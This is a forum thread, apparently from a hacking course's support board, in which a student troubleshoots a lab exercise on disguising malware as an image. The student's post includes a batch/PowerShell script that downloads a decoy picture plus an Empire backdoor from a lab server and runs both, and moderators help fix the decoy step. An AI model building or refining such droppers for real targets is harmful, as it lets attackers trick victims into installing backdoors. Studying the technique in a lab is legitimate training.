- This topic has 8 replies, 3 voices, and was last updated 4 years, 5 months ago by Diego Pérez.
- AuthorPosts
- June 21, 2020 at 3:18 pm #40488KayohParticipant
Hi all,
I’m on the “Embedding Evil Files With Any File Type Like An Image Or PDF” part of the course and have downloaded the .txt file in the resources, changed it to .bat and edited the text inside to add an image url and the empire backdoor.My issue is that the .bat file doesn’t load the image when its opened?
It does however run the backdoor which gives me access to the target which is great.How do i get it to automatically open the image?
June 22, 2020 at 3:42 am #40505Sithum Nimlaka AbeydheeraParticipantHello Tcale89,
Are sure you are using direct URL for your image ?Regards,
Sithum Nimlaka.June 22, 2020 at 6:27 am #40514Diego PérezModeratorHi Tcale!
Can you share the content of your download and execute file?
Thanks!
DiegoJune 22, 2020 at 6:54 pm #40553KayohParticipantthe image is: https://images-cdn.9gag.com/photo/ag5pMyg_460s.jpg
my file is:
@echo offset files=’https://images-cdn.9gag.com/photo/ag5pMyg_460s.jpg’,‘http://10.0.2.15/evil-files/8080httpempire.bat’
powershell “(%files%)|foreach{$fileName=’%TEMP%’+(Split-Path -Path $_ -Leaf);(new-object http://System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}”
June 23, 2020 at 4:07 am #40582Diego PérezModeratorHi Tcale!
The problem here is the url used in your download and execute file, you should remove everything else in the URL after .jpg, just as you have shared the image here in the first link.Let me know how it goes!
DiegoJune 23, 2020 at 6:38 pm #40627KayohParticipantIn my File it doesn’t have all those symbols after the .jpg not sure where they came from when i copied and pasted.
Every time i type the .jpg link it seems to keep putting those symbols after :S which aren’t in the .bat file :S
this is an image of my file it doesn’t have the weird symbols after the .jpg:
June 24, 2020 at 4:54 am #40651Diego PérezModeratorHi Tcale!
Ok, cool.
That’s weired, does your windows machine has internet access? can you try with a different image? or maybe store the photo in your apache server as well and see if it works properly.Let me know how it goes!
DiegoJune 24, 2020 at 4:51 pm #40687KayohParticipantYea its strange, tried with other direct links to images they didn’t load either.
Il host it on the apache2 server and see what happens.The Windows machine does have Internet access.
June 25, 2020 at 3:53 am #40714Diego PérezModeratorHi Kayoh!
Let me know how it goes!
Diego - AuthorPosts
- You must be logged in to reply to this topic.